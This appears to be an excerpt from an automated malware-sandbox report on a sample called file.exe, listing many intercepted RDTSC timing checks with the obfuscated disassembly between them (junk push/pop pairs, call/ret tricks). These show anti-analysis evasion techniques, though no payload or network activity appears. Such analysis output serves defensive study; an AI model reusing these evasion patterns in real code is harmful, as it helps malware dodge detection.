Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C118FA second address: C11923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F7A4900AE6Ch 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F7A4900AE6Bh 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C119D5 second address: C11A21 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7A49940185h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 688725F3h 0x00000012 or edi, 36304D82h 0x00000018 push 00000003h 0x0000001a mov dx, 7200h 0x0000001e push 00000000h 0x00000020 mov esi, 5B0D83EAh 0x00000025 push 00000003h 0x00000027 mov dword ptr [ebp+122D26F2h], esi 0x0000002d push D76DE7C9h 0x00000032 push ecx 0x00000033 pushad 0x00000034 jno 00007F7A49940176h 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11A21 second address: C11A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 176DE7C9h 0x0000000d lea ebx, dword ptr [ebp+124667D9h] 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F7A4900AE68h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d or edi, dword ptr [ebp+122D2900h] 0x00000033 jmp 00007F7A4900AE78h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11A7C second address: C11A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11A81 second address: C11A9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A4900AE6Ch 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11DB7 second address: C11E04 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7A49940184h 0x0000000f popad 0x00000010 push eax 0x00000011 jnc 00007F7A4994018Fh 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jnc 00007F7A49940178h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11E04 second address: C11E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7A4900AE6Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push ebx 0x00000010 jl 00007F7A4900AE6Ch 0x00000016 jno 00007F7A4900AE66h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push edi 0x00000022 jmp 00007F7A4900AE73h 0x00000027 pop edi 0x00000028 pop eax 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007F7A4900AE68h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 adc di, 8355h 0x00000048 lea ebx, dword ptr [ebp+124667EDh] 0x0000004e jmp 00007F7A4900AE78h 0x00000053 mov di, EC16h 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c jnc 00007F7A4900AE66h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11E95 second address: C11E9B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C22805 second address: C22820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jg 00007F7A4900AE66h 0x00000014 jnc 00007F7A4900AE66h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1537 second address: BF153B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF153B second address: BF1543 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1543 second address: BF1557 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A4994017Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3090C second address: C30910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30910 second address: C30914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C30914 second address: C30932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7A4900AE6Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F7A4900AE66h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3117A second address: C31180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C312CB second address: C31305 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F7A4900AE6Bh 0x00000011 pop eax 0x00000012 push esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007F7A4900AE76h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31426 second address: C3142A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3142A second address: C31436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F7A4900AE66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31436 second address: C31469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940188h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A49940184h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31469 second address: C3146D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3146D second address: C3147D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F7A49940176h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C315B7 second address: C315BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C315BB second address: C315F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A49940181h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007F7A49940176h 0x00000012 jmp 00007F7A4994017Eh 0x00000017 popad 0x00000018 pop edx 0x00000019 pushad 0x0000001a jc 00007F7A4994017Ah 0x00000020 push esi 0x00000021 pop esi 0x00000022 pushad 0x00000023 popad 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31F13 second address: C31F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31F19 second address: C31F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C320AD second address: C320C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7A4900AE66h 0x00000008 jmp 00007F7A4900AE70h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C323C5 second address: C323D8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A4994017Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jg 00007F7A49940176h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFEE61 second address: BFEE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39864 second address: C3986A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3986A second address: C3986E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3986E second address: C3987F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3987F second address: C3989D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4900AE79h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3989D second address: C398C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F7A49940189h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C398C6 second address: C398CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C398CA second address: C398D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C398D0 second address: C398DA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7A4900AE6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C398DA second address: C398E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C398E9 second address: C398EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37FC3 second address: C37FC9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38749 second address: C38753 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38753 second address: C38757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C38757 second address: C3875B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C399C6 second address: C399D8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7A49940178h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C399D8 second address: C399DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C399DC second address: C399E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C399E6 second address: C39A49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b js 00007F7A4900AE74h 0x00000011 pushad 0x00000012 je 00007F7A4900AE66h 0x00000018 js 00007F7A4900AE66h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 jmp 00007F7A4900AE71h 0x00000027 jmp 00007F7A4900AE6Ch 0x0000002c popad 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 pushad 0x00000032 jnl 00007F7A4900AE6Ch 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F7A4900AE70h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39BA9 second address: C39BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3CF6E second address: C3CF78 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A4900AE6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C402AF second address: C402B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C402B3 second address: C402B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4035E second address: C40368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F7A49940176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40368 second address: C4036C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4036C second address: C4041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7A4994017Ch 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F7A49940185h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F7A49940180h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jns 00007F7A49940184h 0x00000028 pop eax 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F7A49940178h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 0000001Dh 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 call 00007F7A49940186h 0x00000048 mov si, 1CD5h 0x0000004c pop esi 0x0000004d mov edi, dword ptr [ebp+122D2A8Ch] 0x00000053 call 00007F7A49940179h 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push edi 0x0000005d pop edi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4041A second address: C4041E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4041E second address: C40424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40717 second address: C40729 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7A4900AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40729 second address: C40733 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40B1B second address: C40B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40B27 second address: C40B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40C27 second address: C40C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40C2D second address: C40C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40C31 second address: C40C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4108C second address: C41096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F7A49940176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41096 second address: C410A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F7A4900AE66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41115 second address: C4111A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4111A second address: C4119A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A4900AE74h 0x00000008 jmp 00007F7A4900AE77h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jng 00007F7A4900AE6Eh 0x00000017 push eax 0x00000018 jc 00007F7A4900AE66h 0x0000001e pop eax 0x0000001f xchg eax, ebx 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F7A4900AE68h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a nop 0x0000003b jmp 00007F7A4900AE75h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4119A second address: C4119E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4119E second address: C411B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C417D8 second address: C417E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C417E5 second address: C41839 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7A4900AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F7A4900AE68h 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F7A4900AE68h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e jno 00007F7A4900AE6Ch 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 jns 00007F7A4900AE66h 0x0000003d popad 0x0000003e popad 0x0000003f push eax 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C41839 second address: C4183D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42724 second address: C4272A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C425EA second address: C425FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4994017Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4272A second address: C42784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F7A4900AE68h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov si, ax 0x00000028 sub edi, dword ptr [ebp+122D29B0h] 0x0000002e push 00000000h 0x00000030 jmp 00007F7A4900AE6Dh 0x00000035 push 00000000h 0x00000037 mov edi, dword ptr [ebp+122D2A34h] 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jp 00007F7A4900AE66h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C425FA second address: C425FF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42784 second address: C4278A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C437AD second address: C437B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42F5F second address: C42F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44DDE second address: C44DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44DE3 second address: C44E32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F7A4900AE66h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F7A4900AE79h 0x00000014 nop 0x00000015 mov esi, 5132CB00h 0x0000001a mov edi, dword ptr [ebp+122D26F7h] 0x00000020 push 00000000h 0x00000022 mov esi, ebx 0x00000024 push 00000000h 0x00000026 jmp 00007F7A4900AE6Ah 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push edx 0x0000002f jbe 00007F7A4900AE66h 0x00000035 pop edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C44E32 second address: C44E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F7A49940176h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C45880 second address: C45884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C46DCD second address: C46DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
